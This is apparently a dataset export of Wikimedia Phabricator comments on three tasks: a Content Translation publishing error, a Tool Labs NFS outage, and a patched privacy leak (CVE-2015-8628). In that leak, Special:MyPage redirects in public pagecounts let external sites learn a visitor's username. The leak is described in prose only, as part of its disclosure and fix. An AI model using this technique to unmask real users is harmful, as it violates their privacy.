+etc",Unbreak Now!,100.0,1441346477,1441362567.0,PHID-USER-abr5ge6gl2ovg7jokpst,False,PHID-USER-xfe43w2lb5gpvglf4coa,False,PHID-TASK-xzevd5dd7kbkodnypie3,task_description,resolved,True,c3,3,False,False,True,9,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+520983,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,Thank you very much for the quick fix!,,,1441362567,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,True,,,9,True,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+520980,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,Caused by T100681,,,1441362527,,PHID-USER-ttw4tpoosxc4pbmskrla,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+520963,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235998 merged by jenkins-bot:
+Use the VirtualRESTService to configure CX
+
+[[https://gerrit.wikimedia.org/r/235998]]",,,1441361579,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+520954,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235998 restored by KartikMistry:
+Use the VirtualRESTService to configure CX
+
+Reason:
+Restoring.
+
+[[https://gerrit.wikimedia.org/r/235998]]",,,1441360838,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+520952,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235998 abandoned by KartikMistry:
+Use the VirtualRESTService to configure CX
+
+Reason:
+Probably not cherry-picked correctly!
+
+[[https://gerrit.wikimedia.org/r/235998]]",,,1441360737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+520951,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235993 merged by jenkins-bot:
+Use the VirtualRESTService to configure CX
+
+[[https://gerrit.wikimedia.org/r/235993]]",,,1441360638,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+520949,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235998 had a related patch set uploaded (by KartikMistry):
+Use the VirtualRESTService to configure CX
+
+[[https://gerrit.wikimedia.org/r/235998]]
+",,,1441360587,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+520914,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,"Change 235993 had a related patch set uploaded (by Santhosh):
+Use the VirtualRESTService to configure CX
+
+[[https://gerrit.wikimedia.org/r/235993]]
+",,,1441357254,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+520867,Content Translation publishing fails due to Error: parsoidserver-http: HTTP 404,This is very happening very frequent now.,,,1441347868,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-xzevd5dd7kbkodnypie3,task_subcomment,,True,c3,3,True,,,9,True,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+110827,"No file system on toollabs, unable to login, web service broken","multichill@tools-bastion-01:~/queries/wikidata$ ls
+(nothing happens)
+
+>ssh tools-login.wmflabs.org
+(just times out)
+
+Web service on http://tools.wmflabs.org/ also broken. It gives 500 Internal Server Error (currently replaced by a ""Our servers are currently experiencing a technical problem. "" placeholder)",Unbreak Now!,100.0,1440927078,1441187647.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-TASK-ix7wx66mjeatiwoyxvel,task_description,resolved,True,c3,3,True,False,True,8,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+519091,"No file system on toollabs, unable to login, web service broken","The initial issue was resolved sunday afternoon (CEST), but I forgot to close the task at that point.",,,1441187699,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+517350,"No file system on toollabs, unable to login, web service broken",Tool operators are getting a lot of failed jobs emails. All because of the outage. Emails should all have a timestamp that falls in the outage period.,,,1440942359,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0
+517348,"No file system on toollabs, unable to login, web service broken",The NFS server and tool labs are back online.,,,1440941153,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+517317,"No file system on toollabs, unable to login, web service broken",I wonder why you haven't a redundant NFS server system not yet.,,,1440932489,,PHID-USER-ickdtj74yzf6prch3hms,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,False,,,8,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0
+517307,"No file system on toollabs, unable to login, web service broken",The last successful backup of tools is from 2015-08-30T01:59:35.787Z so at least we have a very recent backup,,,1440930533,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,1,0
+517304,"No file system on toollabs, unable to login, web service broken",https://phabricator.wikimedia.org/T110832 for NFS issues.,,,1440930202,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+517297,"No file system on toollabs, unable to login, web service broken","The NFS server is down due to some kernel issues, we're working on it.",,,1440928296,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+517294,"No file system on toollabs, unable to login, web service broken",Yuvi is working on this,,,1440927924,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-ix7wx66mjeatiwoyxvel,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+109724,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"A request to  Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears  in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh by making a browser calling such  a special page, (for example via an iframe or an embedded image or an ajax call)  and by afterwards consulting the pagecounts an external site can know that my login is Xavier_Combelle and eventually correlate it with the ip or any personal information it has on me.
+
+As I thought about a way to the best way to solve this issue would be to make a soft redirect instead of an hard one.
+
+---
+**patches: **
+* master: {F2879417} + {F2977061}
+* 1.23 - included in {F3112777}
+* 1.24 - included in {F3113508}
+* 1.25 - included in {F3110764}
+* 1.26 - included in {F3110761}
+**CVE:** CVE-2015-8628",Unbreak Now!,100.0,1440086810,1447972340.0,PHID-USER-h66anukl4e5enszrrt3t,False,PHID-USER-doeppszazlm3r7xah4il,False,PHID-TASK-qnjqhzdrle7shsx3w37a,task_description,resolved,True,c3,3,False,False,False,7,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0
+1222202,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"To confirm that this is working as intended:
+
+1. Open private/incognito window.
+2. Disable JavaScript (e.g. Dev Tools, cmd+shift+P, Disable J.., accept).
+3. Load <https://en.wikipedia.org/wiki/Special:Mypage/abc>.
+
+Expected result: Confirm that you see `User:.../abc` in the title, but address bar still shows `Special:Mypage/abc`.
+
+(When JavaScript is enabled, we use the History API to dynamically rewrite the address bar to be what we'd previously redirect to.)",,,1549652927,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,188,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+1222201,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"To confirm that this is working as intended:
+
+1. Open private/incognito window.
+2. Disable JavaScript (e.g. Dev Tools, cmd+shift+P, Disable J.., accept).
+3. Load <https://en.wikipedia.org/wiki/Special:Mypage/abc>.
+
+Expected result: Confirm that you see `User:.../abc` in the title, but address bar still shows `Special:Mypage/abc`.
+
+(When JavaScript is enabled, why use the History API to dynamically rewrite the address bar to be what we'd previously redirect to.)",,,1549652915,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,188,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+591260,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1939021, @Nemo_bis wrote:
+>>>! In T109724#1892727, @xcombelle wrote:
+>> That depend on which stats you are looking http://en.wikipedia.org/wiki/User:Xavier_Combelle/TriggerInLog doesn't exist and it appears in http://stats.grok.se/en/201508/User:Xavier_Combelle/TriggerInLog
+> 
+> Yes, that used to happen but no longer does AFAIK. See the link I provided.
+
+Even if it's right,  http://en.wikipedia.org/wiki/User:Xavier_Combelle or  http://en.wikipedia.org/wiki/Talk_User:Xavier_Combelle probably exists and by doing enough request to these pages a similar leak could be reached.",,,1452954278,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,28,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,1,0,1
+591253,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1892727, @xcombelle wrote:
+> That depend on which stats you are looking http://en.wikipedia.org/wiki/User:Xavier_Combelle/TriggerInLog doesn't exist and it appears in http://stats.grok.se/en/201508/User:Xavier_Combelle/TriggerInLog
+
+Yes, that used to happen but no longer does AFAIK. See the link I provided.",,,1452948028,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,28,True,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+581593,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1889830, @Nemo_bis wrote:
+>> A request to Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh
+> 
+> I'm not convinced of the proposed solution. Why downgrade MediaWiki functionality because of an information leak in Wikimedia Foundation infrustructure? I'd rather reverse the burden: we could just stop counting one visit to ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" and instead add 1 to 
+> ""Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh"".
+> 
+> We stopped counting the 302'ing special pages after https://meta.wikimedia.org/wiki/Research_talk:Page_view/Archive_1#Special_namespace_and_actual_problems . It doesn't seem impossible to do the opposite (under some condition):
+>> how would the definition count redirects? Only towards the redirect source, only to the target, both, or some other scheme? --QChris (WMF) (talk) 11:33, 23 October 2014 (UTC)
+
+Apart the fact that it is not really a downgrade of functionality, as the redirect still work as @matmarex pointed, It is not possible to log the target of a redirect differently unless you add a special parameter. (There is no difference between a http request from a redirect than from a direct one) This solution was envisioned and eventually discarded, ",,,1450530598,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,1,0,0,1,0,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+581592,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1889831, @Nemo_bis wrote:
+> Also, the description of the problem lacks one step: the attacker first needs to create ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" (presumably by creating such a subpage for all users of a wiki?) because 404 are excluded: https://meta.wikimedia.org/wiki/Research:Page_view#Step_1:_apply_general_filters
+
+That depend on which stats you are looking http://en.wikipedia.org/wiki/User:Xavier_Combelle/TriggerInLog doesn't exist and it appears in http://stats.grok.se/en/201508/User:Xavier_Combelle/TriggerInLog
+
+Moreover an existing ""User:Xavier_Combelle"" would be enough, just by requesting enough time would appear as an anomaly in attack ",,,1450529967,,PHID-USER-h66anukl4e5enszrrt3t,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+581162,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,">>! In T109724#1889830, @Nemo_bis wrote:
+>> A request to Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh
+> 
+> I'm not convinced of the proposed solution. Why downgrade MediaWiki functionality because of an information leak in Wikimedia Foundation infrustructure?
+
+I don't think we downgraded anything here. If it wasn't for the `$query` bug, I wouldn't have noticed anything changed in the weeks this was deployed to WMF production. If anything, it's probably more efficient to do it this way.",,,1450445013,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,24,True,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,1,0,1
+581122,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259952 merged by jenkins-bot:
+Add $query to JavaScript redirect info
+
+[[https://gerrit.wikimedia.org/r/259952]]",,,1450432872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581119,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259951 merged by jenkins-bot:
+SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak
+
+[[https://gerrit.wikimedia.org/r/259951]]",,,1450432657,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581072,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Also, the description of the problem lacks one step: the attacker first needs to create ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" (presumably by creating such a subpage for all users of a wiki?) because 404 are excluded: https://meta.wikimedia.org/wiki/Research:Page_view#Step_1:_apply_general_filters",,,1450422697,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,24,True,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0
+581071,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"> A request to Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh appears in the pagecounts as a visit to User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh
+
+I'm not convinced of the proposed solution. Why downgrade MediaWiki functionality because of an information leak in Wikimedia Foundation infrustructure? I'd rather reverse the burden: we could just stop counting one visit to ""User:Xavier_Combelle/ccvhjhdkjvkvkhjhkvkjvdh"" and instead add 1 to 
+""Special:MyPage/ccvhjhdkjvkvkhjhkvkjvdh"".
+
+We stopped counting the 302'ing special pages after https://meta.wikimedia.org/wiki/Research_talk:Page_view/Archive_1#Special_namespace_and_actual_problems . It doesn't seem impossible to do the opposite (under some condition):
+> how would the definition count redirects? Only towards the redirect source, only to the target, both, or some other scheme? --QChris (WMF) (talk) 11:33, 23 October 2014 (UTC)",,,1450422574,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,True,,,24,True,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+581055,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259934 merged by Reedy:
+Add $query to JavaScript redirect info
+
+[[https://gerrit.wikimedia.org/r/259934]]",,,1450402535,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581054,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259933 merged by Reedy:
+SECURITY: Make Special:MyPage and friends fake redirect to prevent info leak
+
+[[https://gerrit.wikimedia.org/r/259933]]",,,1450402522,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581048,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259910 merged by Reedy:
+Add $query to JavaScript redirect info
+
+[[https://gerrit.wikimedia.org/r/259910]]",,,1450402386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qnjqhzdrle7shsx3w37a,task_subcomment,,True,c3,3,False,,,24,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+581047,A combination of Special:MyPage redirects and pagecounts allows an external site to know the wikipedia login of an user,"Change 259943 merged by Chad:
+Add $query to JavaScript redirect info
+
